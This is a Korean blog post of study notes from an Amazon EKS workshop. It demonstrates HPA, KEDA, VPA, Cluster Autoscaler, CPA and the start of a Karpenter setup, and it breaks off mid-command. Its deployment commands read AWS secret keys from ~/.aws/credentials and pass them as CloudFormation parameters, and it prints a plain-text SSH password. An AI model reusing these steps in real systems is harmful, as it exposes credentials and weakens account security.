
# 정책 테스트 : --policy-report 옵션은 로컬에서도 리포트 출력을 할 수 있는 기능
kubectl kyverno apply require-probes.yaml --resource nginx.yaml --policy-report

 

항상 그렇듯이 마지막에 리소스 삭제를 꼭 잊지 말자. 이번에는 testuser IAM에 대해 AWS 웹 관리 콘솔에서 꼭 삭제하도록 한다.

 

eksctl delete cluster --name $CLUSTER_NAME && aws cloudformation delete-stack --stack-name $CLUSTER_NAME

 

 

 

 

 

 

 

본 게시물은 CloudNet@에서 진행하는 AEWS (Amazon EKS Workshop Study) 스터디에 참여하며 정리한 내용입니다.

 

0. EKS Autoscaling 개요 및 실습 환경

이번 실습에서 다루고자 하는 "EKS Autoscaling"에 대해 먼저 알아보자. 쿠버네티스 장점 중 하나인 쿠버네티스 파드 오토스케일링 (링크)은 파드 자체 관점으로 살펴보면 크게 "수평적인 (Horizontal)" 및 "수직적인 (Vertical)" 파드 오토스케일링(Pod Autoscaling)을 위한 2가지로 나누어볼 수 있으며 이를 각각 HPA, VPA라고 부른다. 아래 그림에서와 같이 HPA는 동등한 CPU/메모리 할당이 이루어진 파드 개수를 늘리는 방향으로 이루어지며 VPA는 파드에 할당된 CPU/메모리와 같은 할당량을 늘리는 방식으로 이루어진다.

또한 쿠버네티스 클러스터 전체 관점에서 보면 클러스터 자체를 오토스케일링하는 Cluster Austoscaler (CA/ CAS) 전략도 있다. 이는 워커 노드 사용량이 한계에 도달하여 신규 파드 배포를 수용하지 못할 때 발생하는 상황으로 클러스터 내 워커 노드를 늘리는 방향으로 스케일링이 이루어지는 전략이다.

 

EKS에서는 Karpenter를 사용하여 클러스터 오토스케일링 전략을 적용할 수 있다. Karpenter가 클러스터에 설치되면 Karpenter는 예약되지 않은 파드의 전체 리소스 요청을 관찰하고 새 노드를 시작하고 종료하는 결정을 내림으로써 예약 대기 시간과 인프라 비용을 줄인다. 이를 위해 Karpenter는 Kubernetes 클러스터 내의 이벤트를 관찰한 다음 Amazon EC2와 같은 컴퓨팅 서비스에 전송을 하는 방식으로 동작한다 (Amazon EC2 뿐만 아니라 다른 클라우드 환경도 지원하는 오픈 소스라고 한다).

(출처: https://aws.amazon.com/ko/blogs/korea/introducing-karpenter-an-open-source-high-performance-kubernetes-cluster-autoscaler/ )

 

 

이번 실습 역시 지난 실습 (링크)에서 전제된 2가지(Route 53: 외부 도메인에 대한 Zone 설정, Certificate Manager (ACM): 해당 도메인에 대한 하위 도메인 모두를 허용하는 * 인증서)가 준비되어야 실습이 가능하다.

 

다음과 같이 명령어로 실행하여 배포를 진행하였다.

# YAML 파일 다운로드
curl -O https://s3.ap-northeast-2.amazonaws.com/cloudformation.cloudneta.net/K8S/eks-oneclick4.yaml

# CloudFormation 스택 배포
aws cloudformation deploy --template-file eks-oneclick4.yaml --stack-name myeks --parameter-overrides KeyName=kp-ian SgIngressSshCidr=$(curl -s ipinfo.io/ip)/32  MyIamUserAccessKeyID=`cat ~/.aws/credentials | grep aws_access_key_id | awk '{print $3}'` MyIamUserSecretAccessKey=`cat ~/.aws/credentials | grep aws_secret_access_key | awk '{print $3}'` ClusterBaseName=myeks --region ap-northeast-2

# CloudFormation 스택 배포 완료 후 작업용 EC2 IP 출력
aws cloudformation describe-stacks --stack-name myeks --query 'Stacks[*].Outputs[0].OutputValue' --output text

# 작업용 EC2 SSH 접속
ssh -i ~/.ssh/kp-ian.pem ec2-user@$(aws cloudformation describe-stacks --stack-name myeks --query 'Stacks[*].Outputs[0].OutputValue' --output text)
or
ssh -i ~/.ssh/kp-ian.pem root@$(aws cloudformation describe-stacks --stack-name myeks --query 'Stacks[*].Outputs[0].OutputValue' --output text)
~ password: qwe123

 

이후 지난 번 실습과 동일하게 3개 워커 노드에 대한 IP 주소를 가져와 환경 변수에 저장하고, kube-ops-view 설치, AWS LB Controller 설치, gp3 스토리지 클래스 생성, 노드 보안그룹 ID 확인까지 동일하게 수행한다.

 

이후, 지난 번 실습 4번에 언급된 프로메테우스 & 그라파나 설치를 아래 내용을 참고하여 진행해보자. 이번 실습은 EKS Autoscaler인 만큼 프로메테우스를 yaml로 설치할 때 다음 옵션을 활성화하도록 한다. 그라파나는 추천 대시보드: 15757, 17900, 15172를 Import해두도록 하자.

 

#  monitor-values.yaml - "prometheus:" 하위 요소로 "prometheusSpec:" 및 "ingress:"와 동등하게 추가
  verticalPodAutoscaler:
    enabled: true

 

(Grafana -&nbsp; 추천 대시보드: 15757, 17900, 15172를 Import 결과)

 

그리고 EKS Node Viewer를 설치한다. EKS 클러스터 내 동적 노드 사용량(usage)를 시각화해주는 명령 도구로, Karpenter와의 통합을 시연하기 위해 AWS에서 내부 도구 시작된 도구라고 한다. 다음과 같이 예약된 파드 리소스 요청, 할당 가능한 노드 용량을 표시해준다.

 

# go 설치
wget https://go.dev/dl/go1.22.1.linux-amd64.tar.gz
tar -C /usr/local -xzf go1.22.1.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin
go version
go version go1.22.1 linux/amd64

# EKS Node Viewer 설치 : 약 2분 이상 소요
go install github.com/awslabs/eks-node-viewer/cmd/eks-node-viewer@latest

# [신규 터미널] EKS Node Viewer 접속
cd ~/go/bin && ./eks-node-viewer
혹은
cd ~/go/bin && ./eks-node-viewer --resources cpu,memory

명령 샘플
# Standard usage
./eks-node-viewer

# Display both CPU and Memory Usage
./eks-node-viewer --resources cpu,memory

# Karenter nodes only
./eks-node-viewer --node-selector "karpenter.sh/provisioner-name"

 

" ./eks-node-viewer --resources cpu,memory" 명령어를 오른쪽 작은 하단 터미널에 실행한 스크린샷

 

1. HPA - Horizontal Pod Autoscaler

kube-ops-view와 그라파나에서 모니터링을 같이 해보고자 한다. 그라파나의 경우 17125 대시보드를 기반으로 모니터링을 할 예정인데 다음과 같은 diff 사항을 반영하여 17125 대시보드를 수정한 json 파일을 적용하도록 하자.

 

104c104
<           "expr": "kube_horizontalpodautoscaler_status_desired_replicas{job=\"kube-state-metrics\", namespace=\"$namespace\", horizontalpodautoscaler=\"$horizontalpodautoscaler\"}",
---
>           "expr": "kube_horizontalpodautoscaler_status_desired_replicas{job=\"kube-state-metrics\", namespace=\"$namespace\"}",
185c185
<           "expr": "kube_horizontalpodautoscaler_status_current_replicas{job=\"kube-state-metrics\", namespace=\"$namespace\", horizontalpodautoscaler=\"$horizontalpodautoscaler\"}",
---
>           "expr": "kube_horizontalpodautoscaler_status_current_replicas{job=\"kube-state-metrics\", namespace=\"$namespace\"}",
266c266
<           "expr": "kube_horizontalpodautoscaler_spec_min_replicas{job=\"kube-state-metrics\",  namespace=\"$namespace\", horizontalpodautoscaler=\"$horizontalpodautoscaler\"}",
---
>           "expr": "kube_horizontalpodautoscaler_spec_min_replicas{job=\"kube-state-metrics\",  namespace=\"$namespace\"}",
347c347
<           "expr": "kube_horizontalpodautoscaler_spec_max_replicas{job=\"kube-state-metrics\", horizontalpodautoscaler=\"$horizontalpodautoscaler\", namespace=\"$namespace\"}",
---
>           "expr": "kube_horizontalpodautoscaler_spec_max_replicas{job=\"kube-state-metrics\"}",
417c417
<           "expr": "kube_horizontalpodautoscaler_status_desired_replicas{job=\"kube-state-metrics\", horizontalpodautoscaler=\"$horizontalpodautoscaler\",namespace=\"$namespace\"}",
---
>           "expr": "kube_horizontalpodautoscaler_status_desired_replicas{job=\"kube-state-metrics\",namespace=\"$namespace\"}",
424c424
<           "expr": "kube_horizontalpodautoscaler_status_current_replicas{job=\"kube-state-metrics\", horizontalpodautoscaler=\"$horizontalpodautoscaler\",namespace=\"$namespace\"}",
---
>           "expr": "kube_horizontalpodautoscaler_status_current_replicas{job=\"kube-state-metrics\",namespace=\"$namespace\"}",
431c431
<           "expr": "kube_horizontalpodautoscaler_spec_max_replicas{job=\"kube-state-metrics\", horizontalpodautoscaler=\"$horizontalpodautoscaler\",namespace=\"$namespace\"}",
---
>           "expr": "kube_horizontalpodautoscaler_spec_max_replicas{job=\"kube-state-metrics\",namespace=\"$namespace\"}",
439c439
<           "expr": "kube_horizontalpodautoscaler_spec_min_replicas{job=\"kube-state-metrics\", horizontalpodautoscaler=\"$horizontalpodautoscaler\",namespace=\"$namespace\"}",
---
>           "expr": "kube_horizontalpodautoscaler_spec_min_replicas{job=\"kube-state-metrics\",namespace=\"$namespace\"}",
592c592
< }
\ No newline at end of file
---
> }

 

위 json 파일을 적용한 대시보드 스크린샷

 

그 다음,  CPU와 메모리 리밋이 명시되어 있는  php-apache.yaml 에 따라 파드를 실행하여 부하를 발생시켜보고자 한다. 먼저 다음과 같이 부하를 발생시킬 준비를 해보자.

# Run and expose php-apache server
curl -s -O https://raw.githubusercontent.com/kubernetes/website/main/content/en/examples/application/php-apache.yaml
cat php-apache.yaml | yh
kubectl apply -f php-apache.yaml

# 확인
kubectl exec -it deploy/php-apache -- cat /var/www/html/index.php
...

# 모니터링 : 터미널2개 사용
watch -d 'kubectl get hpa,pod;echo;kubectl top pod;echo;kubectl top node'
kubectl exec -it deploy/php-apache -- top

# 접속
PODIP=$(kubectl get pod -l run=php-apache -o jsonpath={.items[0].status.podIP})
curl -s $PODIP; echo

 

 

준비가 완료되었으니 HPA 생성 및 부하 발생 후 오토스케일링을 테스트해보자. 

# Create the HorizontalPodAutoscaler : requests.cpu=200m - 알고리즘
# Since each pod requests 200 milli-cores by kubectl run, this means an average CPU usage of 100 milli-cores.
kubectl autoscale deployment php-apache --cpu-percent=50 --min=1 --max=10
kubectl describe hpa
...
Metrics:                                               ( current / target )
  resource cpu on pods  (as a percentage of request):  0% (1m) / 50%
Min replicas:                                          1
Max replicas:                                          10
Deployment pods:                                       1 current / 1 desired
...

# HPA 설정 확인
kubectl get hpa php-apache -o yaml | kubectl neat | yh
spec: 
  minReplicas: 1               # [4] 또는 최소 1개까지 줄어들 수도 있습니다
  maxReplicas: 10              # [3] 포드를 최대 5개까지 늘립니다
  scaleTargetRef: 
    apiVersion: apps/v1
    kind: Deployment
    name: php-apache           # [1] php-apache 의 자원 사용량에서
  metrics: 
  - type: Resource
    resource: 
      name: cpu
      target: 
        type: Utilization
        averageUtilization: 50  # [2] CPU 활용률이 50% 이상인 경우

# 반복 접속 1 (파드1 IP로 접속) >> 증가 확인 후 중지
while true;do curl -s $PODIP; sleep 0.5; done

# 반복 접속 2 (서비스명 도메인으로 파드들 분산 접속) >> 증가 확인(몇개까지 증가되는가? 그 이유는?) 후 중지 >> 중지 5분 후 파드 갯수 감소 확인
# Run this in a separate terminal
# so that the load generation continues and you can carry on with the rest of the steps
kubectl run -i --tty load-generator --rm --image=busybox:1.28 --restart=Never -- /bin/sh -c "while sleep 0.01; do wget -q -O- http://php-apache; done"

 

부하를 발생시키면서 점차 오토스케일링이 이루어지는 것을 확인할 수 있었다.

(로드 발생 시작)
(계속 증가하다가 파드 개수 7개까지 늘어난 것을 확인할 수 있었음)

 

로드가 계속 발생하면서 처음에는 CPU 활용율이 증가하여 파드 확장이 이루어지다가, 파드 개수가 어느 정도 늘어난 다음에는 CPU 사용률이 안정적으로 되어 시간이 계속 지나도 더 이상 파드 확장이 이루어지지 않는 것을 확인할 수 있었다. 이렇게 확인한 다음에는 Ctrl+C를 눌러 반복 부하를 중지하고 조금 기다려보자. 오토스케일링이 이루어져 파드가 1개로 변경된 결과를 확인할 수 있다.

 

 

확인 후 다음 명령어 실행을 통해 오브젝트를 삭제하자.

kubectl delete deploy,svc,hpa,pod --all

2. KEDA - Kubernetes based Event Driven Autoscaler

KEDA는 기존에 CPU와 메모리와 같은 메트릭을 기반으로 스케일링 여부를 결정하는 방식과 달리 특정 이벤트를 기반으로 스케일링 여부를 결정할 수 있도록 지원한다.

(출처:&nbsp; https://keda.sh/docs/2.10/concepts/ )

KEDA 대시보드를 그라파나에 Import한 다음 아래를 실행하여 결과를 확인해보도록 하자.

# KEDA 설치
cat <<EOT > keda-values.yaml
metricsServer:
  useHostNetwork: true

prometheus:
  metricServer:
    enabled: true
    port: 9022
    portName: metrics
    path: /metrics
    serviceMonitor:
      # Enables ServiceMonitor creation for the Prometheus Operator
      enabled: true
    podMonitor:
      # Enables PodMonitor creation for the Prometheus Operator
      enabled: true
  operator:
    enabled: true
    port: 8080
    serviceMonitor:
      # Enables ServiceMonitor creation for the Prometheus Operator
      enabled: true
    podMonitor:
      # Enables PodMonitor creation for the Prometheus Operator
      enabled: true

  webhooks:
    enabled: true
    port: 8080
    serviceMonitor:
      # Enables ServiceMonitor creation for the Prometheus webhooks
      enabled: true
EOT

kubectl create namespace keda
helm repo add kedacore https://kedacore.github.io/charts
helm install keda kedacore/keda --version 2.13.0 --namespace keda -f keda-values.yaml

# KEDA 설치 확인
kubectl get all -n keda
kubectl get validatingwebhookconfigurations keda-admission
kubectl get validatingwebhookconfigurations keda-admission -o=json | kubectl neat | yh
kubectl get crd | grep keda

# keda 네임스페이스에 디플로이먼트 생성
kubectl apply -f php-apache.yaml -n keda
kubectl get pod -n keda

# ScaledObject 정책 생성 : cron
cat <<EOT > keda-cron.yaml
apiVersion: keda.sh/v1alpha1
kind: ScaledObject
metadata:
  name: php-apache-cron-scaled
spec:
  minReplicaCount: 0
  maxReplicaCount: 2
  pollingInterval: 30
  cooldownPeriod: 300
  scaleTargetRef:
    apiVersion: apps/v1
    kind: Deployment
    name: php-apache
  triggers:
  - type: cron
    metadata:
      timezone: Asia/Seoul
      start: 00,15,30,45 * * * *
      end: 05,20,35,50 * * * *
      desiredReplicas: "1"
EOT
kubectl apply -f keda-cron.yaml -n keda

# 그라파나 대시보드 추가
# 모니터링
watch -d 'kubectl get ScaledObject,hpa,pod -n keda'
kubectl get ScaledObject -w

# 확인
kubectl get ScaledObject,hpa,pod -n keda
kubectl get hpa -o jsonpath={.items[0].spec} -n keda | jq
...
"metrics": [
    {
      "external": {
        "metric": {
          "name": "s0-cron-Asia-Seoul-00,15,30,45xxxx-05,20,35,50xxxx",
          "selector": {
            "matchLabels": {
              "scaledobject.keda.sh/name": "php-apache-cron-scaled"
            }
          }
        },
        "target": {
          "averageValue": "1",
          "type": "AverageValue"
        }
      },
      "type": "External"
    }

# KEDA 및 deployment 등 삭제
kubectl delete -f keda-cron.yaml -n keda && kubectl delete deploy php-apache -n keda && helm uninstall keda -n keda
kubectl delete namespace keda

 

아래 대시보드 스크린샷과 같이 20분에 end 이벤트가 cron으로부터 발생하여 파드가 종료되었다가, desiredReplicas 개수가 1로 설정되어 있으므로 다시 1개 파드가 재생성된 것을 확인할 수 있었다.

3. VPA - Vertical Pod Autoscaler

다음 코드를 통해 VPA를 먼저 배포한다.

# 코드 다운로드
git clone https://github.com/kubernetes/autoscaler.git
cd ~/autoscaler/vertical-pod-autoscaler/
tree hack

# openssl 버전 확인
openssl version
OpenSSL 1.0.2k-fips  26 Jan 2017

# openssl 1.1.1 이상 버전 확인
yum install openssl11 -y
openssl11 version
OpenSSL 1.1.1g FIPS  21 Apr 2020

# 스크립트파일내에 openssl11 수정
sed -i 's/openssl/openssl11/g' ~/autoscaler/vertical-pod-autoscaler/pkg/admission-controller/gencerts.sh

# Deploy the Vertical Pod Autoscaler to your cluster with the following command.
watch -d kubectl get pod -n kube-system
cat hack/vpa-up.sh
./hack/vpa-up.sh
kubectl get crd | grep autoscaling
kubectl get mutatingwebhookconfigurations vpa-webhook-config
kubectl get mutatingwebhookconfigurations vpa-webhook-config -o json | jq

 

그 다음 공식 예제를 통해 VPA를 실습해보자. 파드가 실행되면 약 2-3분 뒤에 pod resource.request가 VPA에 의해 수정이 이루어진다고 한다.

# 모니터링
watch -d "kubectl top pod;echo "----------------------";kubectl describe pod | grep Requests: -A2"

# 공식 예제 배포
cd ~/autoscaler/vertical-pod-autoscaler/
cat examples/hamster.yaml | yh
kubectl apply -f examples/hamster.yaml && kubectl get vpa -w

# 파드 리소스 Requestes 확인
kubectl describe pod | grep Requests: -A2
    Requests:
      cpu:        100m
      memory:     50Mi
--
    Requests:
      cpu:        587m
      memory:     262144k
--
    Requests:
      cpu:        587m
      memory:     262144k

# VPA에 의해 기존 파드 삭제되고 신규 파드가 생성됨
kubectl get events --sort-by=".metadata.creationTimestamp" | grep VPA
2m16s       Normal    EvictedByVPA             pod/hamster-5bccbb88c6-s6jkp         Pod was evicted by VPA Updater to apply resource recommendation.
76s         Normal    EvictedByVPA             pod/hamster-5bccbb88c6-jc6gq         Pod was evicted by VPA Updater to apply resource recommendation.

 

 

이 때 CPU와 메모리에 대한 사항은 프로메테우스 다음 메트릭을 통해 직접 모니터링도 가능하며

kube_customresource_vpa_containerrecommendations_target{resource="cpu"}
kube_customresource_vpa_containerrecommendations_target{resource="memory"}

 

그라파나 대시보드를 통해 시각화된 모니터링 결과를 확인할 수도 있다.

 

실습을 다 한 이후에는 아래 명령어를 실행하여 리소스를 제거하도록 하자.

 

kubectl delete -f examples/hamster.yaml && cd ~/autoscaler/vertical-pod-autoscaler/ && ./hack/vpa-down.sh

 

4. CA - Cluster Autoscaler

이제 EKS Workshop에 설명되어 있는 Cluster Scaling 부분을 실습해보도록 하자. 다음과 같은 환경에 해당한다.

  • Cluster Autoscale 동작을 하기 위한 cluster-autoscaler 파드(디플로이먼트)를 배치
  • Cluster Autoscaler(CA)pending 상태인 파드가 존재할 경우, 워커 노드스케일 아웃
  • 특정 시간을 간격으로 사용률을 확인하여 스케일 인/아웃을 수행 & AWS에서는 Auto Scaling Group(ASG)을 사용하여 Cluster Autoscaler를 적용

 

실습 전 EKS 노드에 아래 tag가 들어가 있는지 확인해보도록 하자.

# k8s.io/cluster-autoscaler/enabled : true
# k8s.io/cluster-autoscaler/myeks : owned
aws ec2 describe-instances  --filters Name=tag:Name,Values=$CLUSTER_NAME-ng1-Node --query "Reservations[*].Instances[*].Tags[*]" --output yaml | yh

# 현재 autoscaling(ASG) 정보 확인
# aws autoscaling describe-auto-scaling-groups --query "AutoScalingGroups[? Tags[? (Key=='eks:cluster-name') && Value=='클러스터이름']].[AutoScalingGroupName, MinSize, MaxSize,DesiredCapacity]" --output table
aws autoscaling describe-auto-scaling-groups \
    --query "AutoScalingGroups[? Tags[? (Key=='eks:cluster-name') && Value=='myeks']].[AutoScalingGroupName, MinSize, MaxSize,DesiredCapacity]" \
    --output table
-----------------------------------------------------------------
|                   DescribeAutoScalingGroups                   |
+------------------------------------------------+----+----+----+
|  eks-ng1-44c41109-daa3-134c-df0e-0f28c823cb47  |  3 |  3 |  3 |
+------------------------------------------------+----+----+----+

# MaxSize 6개로 수정
export ASG_NAME=$(aws autoscaling describe-auto-scaling-groups --query "AutoScalingGroups[? Tags[? (Key=='eks:cluster-name') && Value=='myeks']].AutoScalingGroupName" --output text)
aws autoscaling update-auto-scaling-group --auto-scaling-group-name ${ASG_NAME} --min-size 3 --desired-capacity 3 --max-size 6

# 확인
aws autoscaling describe-auto-scaling-groups --query "AutoScalingGroups[? Tags[? (Key=='eks:cluster-name') && Value=='myeks']].[AutoScalingGroupName, MinSize, MaxSize,DesiredCapacity]" --output table
-----------------------------------------------------------------
|                   DescribeAutoScalingGroups                   |
+------------------------------------------------+----+----+----+
|  eks-ng1-c2c41e26-6213-a429-9a58-02374389d5c3  |  3 |  6 |  3 |
+------------------------------------------------+----+----+----+

# 배포 : Deploy the Cluster Autoscaler (CA)
curl -s -O https://raw.githubusercontent.com/kubernetes/autoscaler/master/cluster-autoscaler/cloudprovider/aws/examples/cluster-autoscaler-autodiscover.yaml
sed -i "s/<YOUR CLUSTER NAME>/$CLUSTER_NAME/g" cluster-autoscaler-autodiscover.yaml
kubectl apply -f cluster-autoscaler-autodiscover.yaml

# 확인
kubectl get pod -n kube-system | grep cluster-autoscaler
kubectl describe deployments.apps -n kube-system cluster-autoscaler
kubectl describe deployments.apps -n kube-system cluster-autoscaler | grep node-group-auto-discovery
      --node-group-auto-discovery=asg:tag=k8s.io/cluster-autoscaler/enabled,k8s.io/cluster-autoscaler/myeks

# (옵션) cluster-autoscaler 파드가 동작하는 워커 노드가 퇴출(evict) 되지 않게 설정
kubectl -n kube-system annotate deployment.apps/cluster-autoscaler cluster-autoscaler.kubernetes.io/safe-to-evict="false"

# 모니터링 
kubectl get nodes -w
while true; do kubectl get node; echo "------------------------------" ; date ; sleep 1; done
while true; do aws ec2 describe-instances --query "Reservations[*].Instances[*].{PrivateIPAdd:PrivateIpAddress,InstanceName:Tags[?Key=='Name']|[0].Value,Status:State.Name}" --filters Name=instance-state-name,Values=running --output text ; echo "------------------------------"; date; sleep 1; done

# Deploy a Sample App
# We will deploy an sample nginx application as a ReplicaSet of 1 Pod
cat <<EoF> nginx.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: nginx-to-scaleout
spec:
  replicas: 1
  selector:
    matchLabels:
      app: nginx
  template:
    metadata:
      labels:
        service: nginx
        app: nginx
    spec:
      containers:
      - image: nginx
        name: nginx-to-scaleout
        resources:
          limits:
            cpu: 500m
            memory: 512Mi
          requests:
            cpu: 500m
            memory: 512Mi
EoF

kubectl apply -f nginx.yaml
kubectl get deployment/nginx-to-scaleout

# Scale our ReplicaSet
# Let’s scale out the replicaset to 15
kubectl scale --replicas=15 deployment/nginx-to-scaleout && date

# 확인
kubectl get pods -l app=nginx -o wide --watch
kubectl -n kube-system logs -f deployment/cluster-autoscaler

# 노드 자동 증가 확인
kubectl get nodes
aws autoscaling describe-auto-scaling-groups \
    --query "AutoScalingGroups[? Tags[? (Key=='eks:cluster-name') && Value=='myeks']].[AutoScalingGroupName, MinSize, MaxSize,DesiredCapacity]" \
    --output table

./eks-node-viewer --resources cpu,memory
혹은
./eks-node-viewer

# 디플로이먼트 삭제
kubectl delete -f nginx.yaml && date

# 노드 갯수 축소 : 기본은 10분 후 scale down 됨, 물론 아래 flag 로 시간 수정 가능 >> 그러니 디플로이먼트 삭제 후 10분 기다리고 나서 보자!
# By default, cluster autoscaler will wait 10 minutes between scale down operations, 
# you can adjust this using the --scale-down-delay-after-add, --scale-down-delay-after-delete, 
# and --scale-down-delay-after-failure flag. 
# E.g. --scale-down-delay-after-add=5m to decrease the scale down delay to 5 minutes after a node has been added.

# 터미널1
watch -d kubectl get node

 

실습을 해보면 노드 개수가 부족하여 파드들이 pending이 일어나다가

해당 파드들을 배포하기 위해 오토스케일링이 일어난 것을 확인할 수 있다.

 

디플로이먼트 삭제 후 10분 정도 지나면 노드 개수가 축소된다.

 

이후 리소스를 삭제하도록 하자. 만약 노드 개수가 축소되지 않은 상태에서 리소스를 삭제하면 워커 노드가 4개인 상태로 계속 유지가 되는 만큼 수동으로 2개 변경을 하는 명령어를 실행하도록 하자.

# size 수정 
aws autoscaling update-auto-scaling-group --auto-scaling-group-name ${ASG_NAME} --min-size 3 --desired-capacity 3 --max-size 3
aws autoscaling describe-auto-scaling-groups --query "AutoScalingGroups[? Tags[? (Key=='eks:cluster-name') && Value=='myeks']].[AutoScalingGroupName, MinSize, MaxSize,DesiredCapacity]" --output table

# Cluster Autoscaler 삭제
kubectl delete -f cluster-autoscaler-autodiscover.yaml

 

 

5. CPA - Cluster Proportional Autoscaler

CPA는 노드 수 증가에 비례하여 성능 처리가 필요한 애플리케이션 (컨테이너/파드)를 수평으로 자동 확장하는 것을 이야기한다.

https://www.eksworkshop.com/docs/autoscaling/workloads/cluster-proportional-autoscaler/

 

helm repo add cluster-proportional-autoscaler https://kubernetes-sigs.github.io/cluster-proportional-autoscaler

# CPA규칙을 설정하고 helm차트를 릴리즈 필요
helm upgrade --install cluster-proportional-autoscaler cluster-proportional-autoscaler/cluster-proportional-autoscaler

# nginx 디플로이먼트 배포
cat <<EOT > cpa-nginx.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: nginx-deployment
spec:
  replicas: 1
  selector:
    matchLabels:
      app: nginx
  template:
    metadata:
      labels:
        app: nginx
    spec:
      containers:
      - name: nginx
        image: nginx:latest
        resources:
          limits:
            cpu: "100m"
            memory: "64Mi"
          requests:
            cpu: "100m"
            memory: "64Mi"
        ports:
        - containerPort: 80
EOT
kubectl apply -f cpa-nginx.yaml

# CPA 규칙 설정
cat <<EOF > cpa-values.yaml
config:
  ladder:
    nodesToReplicas:
      - [1, 1]
      - [2, 2]
      - [3, 3]
      - [4, 3]
      - [5, 5]
options:
  namespace: default
  target: "deployment/nginx-deployment"
EOF
kubectl describe cm cluster-proportional-autoscaler

# 모니터링
watch -d kubectl get pod

# helm 업그레이드
helm upgrade --install cluster-proportional-autoscaler -f cpa-values.yaml cluster-proportional-autoscaler/cluster-proportional-autoscaler

# 노드 5개로 증가
export ASG_NAME=$(aws autoscaling describe-auto-scaling-groups --query "AutoScalingGroups[? Tags[? (Key=='eks:cluster-name') && Value=='myeks']].AutoScalingGroupName" --output text)
aws autoscaling update-auto-scaling-group --auto-scaling-group-name ${ASG_NAME} --min-size 5 --desired-capacity 5 --max-size 5
aws autoscaling describe-auto-scaling-groups --query "AutoScalingGroups[? Tags[? (Key=='eks:cluster-name') && Value=='myeks']].[AutoScalingGroupName, MinSize, MaxSize,DesiredCapacity]" --output table

# 노드 4개로 축소
aws autoscaling update-auto-scaling-group --auto-scaling-group-name ${ASG_NAME} --min-size 4 --desired-capacity 4 --max-size 4
aws autoscaling describe-auto-scaling-groups --query "AutoScalingGroups[? Tags[? (Key=='eks:cluster-name') && Value=='myeks']].[AutoScalingGroupName, MinSize, MaxSize,DesiredCapacity]" --output table
​

 

노드가 5개로 증가하였다.

 

4개로 변경 후 결과 확인

 

실습을 완료한 다음에는 리소스를 삭제한다.

helm uninstall cluster-proportional-autoscaler && kubectl delete -f cpa-nginx.yaml

 

여기까지 완료하면 그 다음에는 Karpenter 실습 환경 준비를 위해 현재 EKS 실습 환경을 전부 삭제하자.

 

eksctl delete cluster --name $CLUSTER_NAME && aws cloudformation delete-stack --stack-name $CLUSTER_NAME

 

6. Karpenter: K8s Native Autoscaler

Karpenter는 오픈 소스 노드 수명 주기 관리 솔루션으로 Amazon EC2에서 제공하는 API 레벨과 직접 통신을 하여 수 초만에 컴퓨팅 리소스를 제공하는 이점을 제공한다. 

 

 

Karpenter 버전이 0.2x 에서 0.3x로 2023년 10월 경 변경되었는데 (링크), 여러 문법 변화가 있는 부분이 있기에 참고하도록 하자.

 

실습을 위해 기존 EKS 클러스터인 myeks가 완전히 삭제된 이후에 아래 스크립트를 참고하여 실행하도록 하자. myeks2라는 새로운 배포 환경을 사전에 준비한 다음, Karpenter 배포를 위한 환경 준비 및 클러스터 생성, kube-ops-view, Karpenter 설치까지를 진행한다.

 

# YAML 파일 다운로드
curl -O https://s3.ap-northeast-2.amazonaws.com/cloudformation.cloudneta.net/K8S/karpenter-preconfig.yaml

# CloudFormation 스택 배포
aws cloudformation deploy --template-file karpenter-preconfig.yaml --stack-name myeks2 --parameter-overrides KeyName=kp-ian SgIngressSshCidr=$(curl -s ipinfo.io/ip)/32  MyIamUserAccessKeyID=`cat ~/.aws/credentials | grep aws_access_key_id | awk '{print $3}'` MyIamUserSecretAccessKey=`cat ~/.aws/credentials | grep aws_secret_access_key | awk '{print $3}'` ClusterBaseName=myeks --region ap-northeast-2

# CloudFormation 스택 배포 완료 후 작업용 EC2 IP 출력
aws cloudformation describe-stacks --stack-name myeks2 --query 'Stacks[*].Outputs[0].OutputValue' --output text

# 작업용 EC2 SSH 접속
ssh -i ~/.ssh/kp-ian.pem ec2-user@$(aws cloudformation describe-stacks --stack-name myeks2 --query 'Stacks[*].Outputs[0].OutputValue' --output text)

# IP 주소 확인 : 172.30.0.0/16 VPC 대역에서 172.30.1.0/24 대역을 사용 중
ip -br -c addr

# EKS Node Viewer 설치 : 현재 ec2 spec에서는 설치에 다소 시간이 소요됨 = 2분 이상
wget https://go.dev/dl/go1.22.1.linux-amd64.tar.gz
tar -C /usr/local -xzf go1.22.1.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin
go install github.com/awslabs/eks-node-viewer/cmd/eks-node-viewer@latest

# [터미널1] bin 확인
cd ~/go/bin && ./eks-node-viewer -h

# EKS 배포 완료 후 실행 하자
cd ~/go/bin && ./eks-node-viewer --resources cpu,memory

# 변수 정보 확인
export | egrep 'ACCOUNT|AWS_' | egrep -v 'SECRET|KEY'

# 변수 설정
export KARPENTER_NAMESPACE="kube-system"
export K8S_VERSION="1.29"
export KARPENTER_VERSION="0.35.2"
export TEMPOUT=$(mktemp)
export ARM_AMI_ID="$(aws ssm get-parameter --name /aws/service/eks/optimized-ami/${K8S_VERSION}/amazon-linux-2-arm64/recommended/image_id --query Parameter.Value --output text)"
export AMD_AMI_ID="$(aws ssm get-parameter --name /aws/service/eks/optimized-ami/${K8S_VERSION}/amazon-linux-2/recommended/image_id --query Parameter.Value --output text)"
export GPU_AMI_ID="$(aws ssm get-parameter --name /aws/service/eks/optimized-ami/${K8S_VERSION}/amazon-linux-2-gpu/recommended/image_id --query Parameter.Value --output text)"
export AWS_PARTITION="aws"
export CLUSTER_NAME="${USER}-karpenter-demo"
echo "export CLUSTER_NAME=$CLUSTER_NAME" >> /etc/profile
echo $KARPENTER_VERSION $CLUSTER_NAME $AWS_DEFAULT_REGION $AWS_ACCOUNT_ID $TEMPOUT $ARM_AMI_ID $AMD_AMI_ID $GPU_AMI_ID

# CloudFormation 스택으로 IAM Policy, Role(KarpenterNodeRole-myeks2) 생성 : 3분 정도 소요
curl -fsSL https://raw.githubusercontent.com/aws/karpenter-provider-aws/v"${KARPENTER_VERSION}"/website/content/en/preview/getting-started/getting-started-with-karpenter/cloudformation.yaml  > "${TEMPOUT}" \
&& aws cloudformation deploy \
  --stack-name "Karpenter-${CLUSTER_NAME}" \
  --template-file "${TEMPOUT}" \
  --capabilities CAPABILITY_NAMED_IAM \
  --parameter-overrides "ClusterName=${CLUSTER_NAME}"

# 클러스터 생성 : myeks2 EKS 클러스터 생성 19분 정도 소요
eksctl create cluster -f - <<EOF
